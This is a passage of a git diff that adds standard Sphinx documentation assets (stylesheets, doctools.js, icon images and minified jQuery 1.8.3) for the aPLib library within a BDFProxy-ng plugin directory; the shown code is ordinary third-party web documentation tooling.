background-color: #eeffcc; + color: #333333; + line-height: 120%; + border: 1px solid #ac9; + border-left: none; + border-right: none; +} + +tt { + background-color: #ecf0f3; + padding: 0 1px 0 1px; + font-size: 0.95em; +} + +th { + background-color: #ede; +} + +.warning tt { + background: #efc2c2; +} + +.note tt { + background: #d6d6d6; +} + +.viewcode-back { + font-family: sans-serif; +} + +div.viewcode-block:target { + background-color: #f4debf; + border-top: 1px solid #ac9; + border-bottom: 1px solid #ac9; +} \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/doctools.js b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/doctools.js new file mode 100644 index 0000000..c5455c9 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/doctools.js @@ -0,0 +1,238 @@ +/* + * doctools.js + * ~~~~~~~~~~~ + * + * Sphinx JavaScript utilities for all documentation. + * + * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS. + * :license: BSD, see LICENSE for details. + * + */ + +/** + * select a different prefix for underscore + */ +$u = _.noConflict(); + +/** + * make the code below compatible with browsers without + * an installed firebug like debugger +if (!window.console || !console.firebug) { + var names = ["log", "debug", "info", "warn", "error", "assert", "dir", + "dirxml", "group", "groupEnd", "time", "timeEnd", "count", "trace", + "profile", "profileEnd"]; + window.console = {}; + for (var i = 0; i < names.length; ++i) + window.console[names[i]] = function() {}; +} + */ + +/** + * small helper function to urldecode strings + */ +jQuery.urldecode = function(x) { + return decodeURIComponent(x).replace(/\+/g, ' '); +}; + +/** + * small helper function to urlencode strings + */ +jQuery.urlencode = encodeURIComponent; + +/** + * This function returns the parsed url parameters of the + * current request. Multiple values per key are supported, + * it will always return arrays of strings for the value parts. + */ +jQuery.getQueryParameters = function(s) { + if (typeof s == 'undefined') + s = document.location.search; + var parts = s.substr(s.indexOf('?') + 1).split('&'); + var result = {}; + for (var i = 0; i < parts.length; i++) { + var tmp = parts[i].split('=', 2); + var key = jQuery.urldecode(tmp[0]); + var value = jQuery.urldecode(tmp[1]); + if (key in result) + result[key].push(value); + else + result[key] = [value]; + } + return result; +}; + +/** + * highlight a given string on a jquery object by wrapping it in + * span elements with the given class name. + */ +jQuery.fn.highlightText = function(text, className) { + function highlight(node) { + if (node.nodeType == 3) { + var val = node.nodeValue; + var pos = val.toLowerCase().indexOf(text); + if (pos >= 0 && !jQuery(node.parentNode).hasClass(className)) { + var span = document.createElement("span"); + span.className = className; + span.appendChild(document.createTextNode(val.substr(pos, text.length))); + node.parentNode.insertBefore(span, node.parentNode.insertBefore( + document.createTextNode(val.substr(pos + text.length)), + node.nextSibling)); + node.nodeValue = val.substr(0, pos); + } + } + else if (!jQuery(node).is("button, select, textarea")) { + jQuery.each(node.childNodes, function() { + highlight(this); + }); + } + } + return this.each(function() { + highlight(this); + }); +}; + +/** + * Small JavaScript module for the documentation. + */ +var Documentation = { + + init : function() { + this.fixFirefoxAnchorBug(); + this.highlightSearchWords(); + this.initIndexTable(); + }, + + /** + * i18n support + */ + TRANSLATIONS : {}, + PLURAL_EXPR : function(n) { return n == 1 ? 0 : 1; }, + LOCALE : 'unknown', + + // gettext and ngettext don't access this so that the functions + // can safely bound to a different name (_ = Documentation.gettext) + gettext : function(string) { + var translated = Documentation.TRANSLATIONS[string]; + if (typeof translated == 'undefined') + return string; + return (typeof translated == 'string') ? translated : translated[0]; + }, + + ngettext : function(singular, plural, n) { + var translated = Documentation.TRANSLATIONS[singular]; + if (typeof translated == 'undefined') + return (n == 1) ? singular : plural; + return translated[Documentation.PLURALEXPR(n)]; + }, + + addTranslations : function(catalog) { + for (var key in catalog.messages) + this.TRANSLATIONS[key] = catalog.messages[key]; + this.PLURAL_EXPR = new Function('n', 'return +(' + catalog.plural_expr + ')'); + this.LOCALE = catalog.locale; + }, + + /** + * add context elements like header anchor links + */ + addContextElements : function() { + $('div[id] > :header:first').each(function() { + $('\u00B6'). + attr('href', '#' + this.id). + attr('title', _('Permalink to this headline')). + appendTo(this); + }); + $('dt[id]').each(function() { + $('\u00B6'). + attr('href', '#' + this.id). + attr('title', _('Permalink to this definition')). + appendTo(this); + }); + }, + + /** + * workaround a firefox stupidity + */ + fixFirefoxAnchorBug : function() { + if (document.location.hash && $.browser.mozilla) + window.setTimeout(function() { + document.location.href += ''; + }, 10); + }, + + /** + * highlight the search words provided in the url in the text + */ + highlightSearchWords : function() { + var params = $.getQueryParameters(); + var terms = (params.highlight) ? params.highlight[0].split(/\s+/) : []; + if (terms.length) { + var body = $('div.body'); + if (!body.length) { + body = $('body'); + } + window.setTimeout(function() { + $.each(terms, function() { + body.highlightText(this.toLowerCase(), 'highlighted'); + }); + }, 10); + $('') + .appendTo($('#searchbox')); + } + }, + + /** + * init the domain index toggle buttons + */ + initIndexTable : function() { + var togglers = $('img.toggler').click(function() { + var src = $(this).attr('src'); + var idnum = $(this).attr('id').substr(7); + $('tr.cg-' + idnum).toggle(); + if (src.substr(-9) == 'minus.png') + $(this).attr('src', src.substr(0, src.length-9) + 'plus.png'); + else + $(this).attr('src', src.substr(0, src.length-8) + 'minus.png'); + }).css('display', ''); + if (DOCUMENTATION_OPTIONS.COLLAPSE_INDEX) { + togglers.click(); + } + }, + + /** + * helper function to hide the search marks again + */ + hideSearchWords : function() { + $('#searchbox .highlight-link').fadeOut(300); + $('span.highlighted').removeClass('highlighted'); + }, + + /** + * make the url absolute + */ + makeURL : function(relativeURL) { + return DOCUMENTATION_OPTIONS.URL_ROOT + '/' + relativeURL; + }, + + /** + * get the current relative url + */ + getCurrentURL : function() { + var path = document.location.pathname; + var parts = path.split(/\//); + $.each(DOCUMENTATION_OPTIONS.URL_ROOT.split(/\//), function() { + if (this == '..') + parts.pop(); + }); + var url = parts.join('/'); + return path.substring(url.lastIndexOf('/') + 1, path.length - 1); + } +}; + +// quick alias for translations +_ = Documentation.gettext; + +$(document).ready(function() { + Documentation.init(); +}); diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down-pressed.png b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down-pressed.png new file mode 100644 index 0000000..6f7ad78 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down-pressed.png differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down.png b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down.png new file mode 100644 index 0000000..3003a88 Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/down.png differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/file.png b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/file.png new file mode 100644 index 0000000..d18082e Binary files /dev/null and b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/file.png differ diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/grey.css b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/grey.css new file mode 100644 index 0000000..c9a14a3 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/grey.css @@ -0,0 +1,22 @@ +/* slightly less colorful style overrides */ + +@import url("default.css"); + +th { + background-color: #eee; +} + +div.seealso { + background-color: #eee; + border: 1px solid #ccc; +} + +pre { + background-color: #eeeeee; + border: 1px solid #ccc; +} + +tt { + background-color: inherit; + font-size: inherit; +} diff --git a/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/jquery.js b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/jquery.js new file mode 100644 index 0000000..3883779 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/aPLib/doc/html/_static/jquery.js @@ -0,0 +1,2 @@ +/*! jQuery v1.8.3 jquery.com | jquery.org/license */ +(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)>=0===n})}function lt(e){var t=ct.split("|"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r").appendTo(i.body),n=t.css("display");t.remove();if(n==="none"||n===""){Pt=i.body.appendChild(Pt||v.extend(i.createElement("iframe"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write(""),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,"display"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+"["+(typeof i=="object"?t:"")+"]",i,n,r)});else if(!n&&v.type(t)==="object")for(i in t)fn(e+"["+i+"]",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!="string"&&(n=t,t="*");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u)[^>]*$|#([\w\-]*)$)/,E=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,S=/^[\],:{}\s]*$/,x=/(?:^|:|,)(?:\s*\[)+/g,T=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,N=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,C=/^-ms-/,k=/-([\da-z])/gi,L=function(e,t){return(t+"").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener("DOMContentLoaded",A,!1),v.ready()):i.readyState==="complete"&&(i.detachEvent("onreadystatechange",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?s=[null,e,null]:s=w.exec(e);if(s&&(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n&&n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])&&v.isPlainObject(n)&&this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o&&o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:"",jquery:"1.8.3",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),"slice",l.call(arguments).join(","))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u=="boolean"&&(l=u,u=arguments[1]||{},a=2),typeof u!="object"&&!v.isFunction(u)&&(u={}),f===a&&(u=this,--a);for(;a0)return;r.resolveWith(i,[v]),v.fn.trigger&&v(i).trigger("ready").off("ready")},isFunction:function(e){return v.type(e)==="function"},isArray:Array.isArray||function(e){return v.type(e)==="array"},isWindow:function(e){return e!=null&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||"object"},isPlainObject:function(e){if(!e||v.type(e)!=="object"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor&&!p.call(e,"constructor")&&!p.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!="string"?null:(typeof t=="boolean"&&(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!="string")return null;t=v.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,"@").replace(N,"]").replace(x,"")))return(new Function("return "+t))();v.error("Invalid JSON: "+t)},parseXML:function(n){var r,i;if(!n||typeof n!="string")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&v.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&g.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,"ms-").replace(k,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s0&&e[0]&&e[a-1]||a===0||v.isArray(e));if(f)for(;u-1)a.splice(n,1),i&&(n<=o&&o--,n<=u&&u--)}),this},has:function(e){return v.inArray(e,a)>-1},empty:function(){return a=[],this},disable:function(){return a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a&&(!r||f)&&(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[["resolve","done",v.Callbacks("once memory"),"resolved"],["reject","fail",v.Callbacks("once memory"),"rejected"],["notify","progress",v.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e&&v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+"With"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+"With"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e&&v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t
a",n=p.getElementsByTagName("*"),r=p.getElementsByTagName("a")[0];if(!n||!r||!n.length)return{};s=i.createElement("select"),o=s.appendChild(i.createElement("option")),u=p.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:r.getAttribute("href")==="/a",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value==="on",optSelected:o.selected,getSetAttribute:p.className!=="t",enctype:!!i.createElement("form").enctype,html5Clone:i.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",boxModel:i.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick"),p.detachEvent("onclick",h)),u=i.createElement("input"),u.value="t",u.setAttribute("type","radio"),t.radioValue=u.value==="t",u.setAttribute("checked","checked"),u.setAttribute("name","t"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f="on"+l,c=f in p,c||(p.setAttribute(f,"return;"),c=typeof p[f]=="function"),t[l+"Bubbles"]=c;return v(function(){var n,r,s,o,u="padding:0;margin:0;border:0;display:block;overflow:hidden;",a=i.getElementsByTagName("body")[0];if(!a)return;n=i.createElement("div"),n.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",a.insertBefore(n,a.firstChild),r=i.createElement("div"),n.appendChild(r),r.innerHTML="
t
",s=r.getElementsByTagName("td"),s[0].style.cssText="padding:0;margin:0;border:0;display:none",c=s[0].offsetHeight===0,s[0].style.display="",s[1].style.display="none",t.reliableHiddenOffsets=c&&s[0].offsetHeight===0,r.innerHTML="",r.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle&&(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!=="1%",t.boxSizingReliable=(e.getComputedStyle(r,null)||{width:"4px"}).width==="4px",o=i.createElement("div"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width="0",r.style.width="1px",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!="undefined"&&(r.innerHTML="",r.style.cssText=u+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display="block",r.style.overflow="visible",r.innerHTML="
",r.firstChild.style.width="5px",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(v.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e&&!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n=="string",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]&&u;if((!c||!l[c]||!i&&!l[c].data)&&a&&r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n=="object"||typeof n=="function")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t&&(s[v.camelCase(n)]=r),a?(o=s[n],o==null&&(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in r?t=[t]:t=t.split(" ")));for(i=0,s=t.length;i1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=v._data(e,t),n&&(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i==="inprogress"&&(i=n.shift(),r--),i&&(t==="fx"&&n.unshift("inprogress"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks("once memory").add(function(){v.removeData(e,t+"queue",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!="string"&&(n=e,e="fx",r--),arguments.length1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length>1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e&&typeof e=="string"){t=e.split(y);for(n=0,r=this.length;n=0)r=r.replace(" "+n[s]+" "," ");i.className=e?v.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t=="boolean";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n==="string"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?"addClass":"removeClass"](i)}else if(n==="undefined"||n==="boolean")this.className&&v._data(this,"__className__",this.className),this.className=this.className||e===!1?"":v._data(this,"__className__")||""})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;n=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n&&"get"in n&&(r=n.get(s,"value"))!==t?r:(r=s.value,typeof r=="string"?r.replace(R,""):r==null?"":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s="":typeof s=="number"?s+="":v.isArray(s)&&(s=v.map(s,function(e){return e==null?"":e+""})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!("set"in n)||n.set(this,s,"value")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type==="select-one"||i<0,o=s?null:[],u=s?i+1:r.length,a=i<0?u:s?i:0;for(;a=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i&&v.isFunction(v.fn[n]))return v(e)[n](r);if(typeof e.getAttribute=="undefined")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u&&(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o&&"set"in o&&u&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r)}return o&&"get"in o&&u&&(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t&&e.nodeType===1){r=t.split(y);for(;o=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\.]*|)(?:\.(.+)|)$/,K=/(?:^|\s)hover(\.\S+|)\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,"mouseenter$1 mouseleave$1")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler&&(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v=="undefined"||!!e&&v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(" ");for(f=0;f=0&&(y=y.slice(0,-1),a=!0),y.indexOf(".")>=0&&(b=y.split("."),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])&&!v.event.global[y])return;n=typeof n=="object"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join("."),n.namespace_re=n.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,h=y.indexOf(":")<0?"on"+y:"";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]&&v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger&&p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o&&!p.noBubble&&!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)&&m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f=0:v.find(h,this,null,[s]).length),u[h]&&f.push(c);f.length&&w.push({elem:s,matches:f})}d.length>m&&w.push({elem:this,matches:d.slice(m)});for(r=0;r0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)&&(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)&&(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!="string")return n;if(l!==1&&l!==9)return[];a=o(t);if(!a&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])&&Z&&t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,"$1"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n==="input"&&t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n==="input"||n==="button")&&t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+" "];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r&&(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j," ");for(o in i.filter)(r=J[o].exec(u))&&(!f[o]||(r=f[o](r)))&&(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r&&t.dir==="parentNode",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+" "+o+" ",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a=="string"&&a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var 